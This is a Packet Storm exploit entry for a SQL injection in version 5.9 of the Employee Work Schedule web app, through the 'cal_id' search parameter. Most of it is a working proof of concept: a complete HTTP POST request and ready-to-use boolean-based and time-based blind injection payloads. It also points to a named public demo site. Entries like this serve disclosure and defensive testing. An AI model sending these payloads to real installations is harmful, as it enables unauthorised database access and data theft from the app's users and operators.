Employee Work Schedule 5.9 SQL Injection

2018-05-26T00:00:00
ID PACKETSTORM:147902
Type packetstorm
Reporter Ozkan Mustafa Akkus
Modified 2018-05-26T00:00:00

Description

                                        
                                            `# Exploit Title: EWS 5.9 - 'search' SQL Injection  
# Dork: N/A  
# Date: 25.05.2018  
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)  
# Vendor Homepage: https://codecanyon.net/item/employee-work-schedule-multicalendar/10545683  
# Version: 5.9  
# Category: Webapps  
# Tested on: Kali linux  
# Description : The vulnerability allows an attacker to inject sql commands  
from the search section with 'cal_id' parameter.  
====================================================  
# Demo : http://paulthedutchman.nl/ews/  
# PoC : SQLi :  
  
http://test.com/ews/?action=search  
  
POST /ews/?action=search HTTP/1.1  
Host: test.com  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101  
Firefox/45.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://test.com/ews/  
Cookie: PHPSESSID=pss9q96b0v9ja9m35hc8s2hod4  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 34  
sq=test&cal_id=11%2C90%2C199%2C208  
  
  
Parameter: cal_id (POST)  
  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: sq=test&cal_id=11,90,199,208) AND 4528=4528 AND (1723=1723  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: sq=test&cal_id=11,90,199,208) AND SLEEP(5) AND (8958=8958  
  
  
====================================================  
  
`